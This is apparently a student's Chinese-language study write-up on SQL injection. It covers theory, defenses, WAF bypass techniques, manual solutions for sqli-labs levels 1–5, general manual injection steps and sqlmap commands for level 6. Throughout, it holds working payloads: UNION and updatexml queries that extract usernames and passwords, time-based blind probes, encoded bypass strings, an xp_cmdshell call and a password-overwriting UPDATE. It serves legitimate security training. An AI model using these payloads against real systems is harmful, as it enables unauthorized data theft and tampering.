1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法
SQL注入原理
SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到应用程序的输入字段中,从而操控应用程序生成并执行未经授权的SQL查询。这种攻击利用了应用程序对用户输入处理不当的漏洞,使得攻击者能够访问、修改或破坏数据库中的数据,甚至执行系统命令。
SQL注入常用函数及含义
-
SELECT
: 用于从数据库中查询数据。SELECT * FROM users WHERE username = 'admin';
-
UNION
: 用于将两个或多个SELECT
查询的结果集合并成一个结果集。SELECT username FROM users UNION SELECT password FROM users;
-
OR
: 用于逻辑运算,可以将条件与其他条件结合。SELECT * FROM users WHERE username = 'admin' OR '1'='1';
-
AND
: 用于逻辑运算,将多个条件结合。SELECT * FROM users WHERE username = 'admin' AND password = 'password';
-
SLEEP
: 用于引入延迟,通常用于基于时间的盲注攻击。SELECT * FROM users WHERE id = '1' AND IF(1=1, SLEEP(5), 0);
-
CONCAT
: 用于连接多个字符串。SELECT CONCAT(username, ' - ', password) FROM users;
-
INTO OUTFILE
: 用于将查询结果写入到服务器上的文件中。SELECT * INTO OUTFILE '/var/www/html/data.txt' FROM users;
-
EXEC
: 用于执行存储过程或系统命令(在SQL Server中)。EXEC xp_cmdshell('dir');
SQL注入防御手段
-
使用预处理语句和参数化查询:
- 通过使用
PreparedStatement
(在Java中)或其他类似机制,可以将SQL查询与数据分开,从而防止注入。
SELECT * FROM users WHERE username = ? AND password = ?
- 通过使用
-
输入验证和过滤:
- 对所有用户输入进行严格的验证和过滤,确保输入符合预期格式,并清除不必要的特殊字符。
-
使用ORM工具:
- 使用对象关系映射(ORM)工具,如Hibernate(Java)或Entity Framework(.NET),这些工具通常会自动处理SQL注入问题。
-
最小权限原则:
- 数据库账户应只具有执行其任务所需的最小权限,避免使用具有管理权限的账户连接应用程序。
-
错误处理:
- 避免将数据库错误信息暴露给用户。使用通用的错误页面,并记录详细错误信息以供管理员使用。
-
安全配置:
- 配置数据库以限制SQL注入的可能性。例如,禁用不必要的数据库功能或限制存储过程的权限。
-
定期安全审计:
- 定期进行代码审计和安全测试,以识别和修复潜在的SQL注入漏洞。
SQL注入常用绕过WAF(Web应用防火墙)的方法
-
字符编码绕过:
- 使用不同的字符编码或转义字符绕过WAF的检测。例如,将
'
编码为%27
或'
。
- 使用不同的字符编码或转义字符绕过WAF的检测。例如,将
-
空格替换:
- 使用
/**/
或/*!*/
等注释符号代替空格以混淆SQL语句。
1'/**/OR/**/1=1--
- 使用
-
拼接函数:
- 使用数据库提供的拼接函数来组合恶意SQL语句。
1' UNION SELECT CONCAT(username, ':', password) FROM users --
-
注释符号:
- 使用不同的注释符号来掩盖恶意代码。
1' /* malicious code */ --
-
不同的SQL语法:
- 使用数据库的特定方言或变体来规避WAF的规则。
1' OR 1=1/*
-
时间延迟技巧:
- 通过引入时间延迟来绕过过滤。
1' OR IF(1=1, SLEEP(5), 0) --
-
混淆和编码:
- 使用不同的混淆技术,如双重编码或混淆SQL语法,来绕过WAF。
1%27%20OR%201%3D1--
-
逻辑操作符混淆:
- 使用不同的逻辑操作符混淆SQL注入的尝试。
1' OR (1=1) --
有效的SQL注入防御需要结合多种措施,通过多层次的保护来降低漏洞风险。
2.sqli-labs前5关,手工过关解题步骤
第一关
传参
添加语句and 1=1看是否被当成代码执行,没变化
尝试闭合
修改成1=2时页面变化存在注入,并且有一个单引号闭合
找字段数,order by,试到4时异常,存在3个字段
union select ,回显2和3,
尝试查找数据库database(),和版本
查找表
账户密码
第二关
和第一关一样,传参判断
and 1=2页面显示错误
和第一关一样查询结果
第三关
都显示正常,尝试闭合,报错,sql语句可能是单引号字符型并且有括号。因此不仅需要闭合单引号而且还要考虑括号。
之后和前几关一样
第四关
和之前操作一样,闭合时输入?id=1"出现报错
sql语句可能是双引号字符型并且有括号。
?id=99") union select 1,1,group_concat(username ,password) from users-- 1
第五关
?id=1
?id=1'报错
判断注入点,无反应
?id=1' and 1=1 -- 1
通过UPDATEXML
函数获取当前数据库名称的。载荷中的concat(0x7e,(database()),0x7e)
用于将数据库名称包裹在~
符号之间。
?id=1' and updatexml(1,concat('$',(database()),'$'),1) -- 1
通过UPDATEXML
函数从information_schema.tables
中提取指定数据库(security
)的所有表名,并用~
符号包裹它们。
?id=1' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'$'),1) -- 1
通过UPDATEXML
函数从users
表中提取username
和password
字段的组合,并用$符号包裹。
?id=1' and updatexml(1,concat('$',(select group_concat(username,password)from users),'$'),1) -- 1
3.总结SQL的手工注入的步骤
1. 识别潜在的注入点
- 输入字段:检查应用程序的输入字段,如登录表单、搜索框、URL参数等。
- URL和请求参数:尝试在URL参数中注入SQL代码。
- HTTP头部:某些应用可能在HTTP头部(如Cookie、User-Agent)中处理SQL查询。
2. 确定注入的可能性
-
测试基本注入:
- 尝试简单的注入测试,例如在输入字段中输入单引号(
'
)或双引号("
),查看是否出现SQL错误信息。 - 例如,
1'
、1"
或1' AND 1=1 --
- 尝试简单的注入测试,例如在输入字段中输入单引号(
-
观察错误消息:检查应用程序是否返回SQL错误信息,这可能表明存在注入点。例如,
You have an error in your SQL syntax
。
3. 构造注入载荷
-
注入SQL代码:构造恶意SQL代码进行测试,例如:
- 登录绕过:
' OR '1'='1 --
- 联合查询:
' UNION SELECT NULL, username, password FROM users --
- 登录绕过:
-
盲注测试:如果没有错误反馈,可以使用盲注技巧:
- 布尔盲注:例如,
1' AND 1=1 --
与1' AND 1=2 --
- 时间盲注:例如,
1' AND IF(1=1, SLEEP(5), 0) --
- 布尔盲注:例如,
4. 获取数据
- 提取数据库结构:
- 识别数据库类型:通过一些通用的SQL查询来推测数据库类型。例如,
1' UNION SELECT NULL, @@version --
- 列信息:尝试获取表和列的信息。比如,
1' UNION SELECT NULL, table_name FROM information_schema.tables --
- 数据提取:一旦知道了表和列的结构,就可以提取数据。例如,
1' UNION SELECT NULL, username, password FROM users --
- 识别数据库类型:通过一些通用的SQL查询来推测数据库类型。例如,
5. 利用注入
- 执行系统命令:在某些情况下,可以利用SQL注入执行系统命令(如通过
xp_cmdshell
)。 - 修改数据:如果有足够的权限,可以修改数据库中的数据,例如,
1' OR 1=1; UPDATE users SET password='newpassword' WHERE username='admin' --
6. 绕过防护机制
- 绕过过滤:如果发现应用程序具有某些过滤机制,可以尝试不同的绕过技术(如字符编码、注释符号等)。
- 混淆注入载荷:使用注释符号、空格替代字符等技术混淆SQL载荷,绕过Web应用防火墙(WAF)或其他安全措施。
7. 验证和报告
- 验证结果:确保注入测试成功,检查所获取的数据是否准确。
- 记录发现:详细记录发现的注入点和测试结果,包括成功的SQL查询和潜在的影响。
注意事项
- 合法性和伦理:进行SQL注入测试时必须获得合法授权,未经授权的测试可能违法。
- 安全性:避免在生产环境中进行测试,在安全的测试环境中进行。
4.使用sqlmap通过或验证第六关
-u为基础参数,后跟需要测试的url
变量 id 存在注入点,且使用的是GET方法。
获取数据库
?id=1 --dbms=MySQL --current-db
获取表
?id=1 --dbms=MySQL -D 'security' --tables
数据
?id=1 --dbms=MySQL -D 'security' -T 'users' --dump